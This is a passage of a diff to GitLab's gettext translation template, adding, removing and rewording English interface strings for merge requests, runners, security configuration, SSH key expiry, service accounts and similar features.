msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
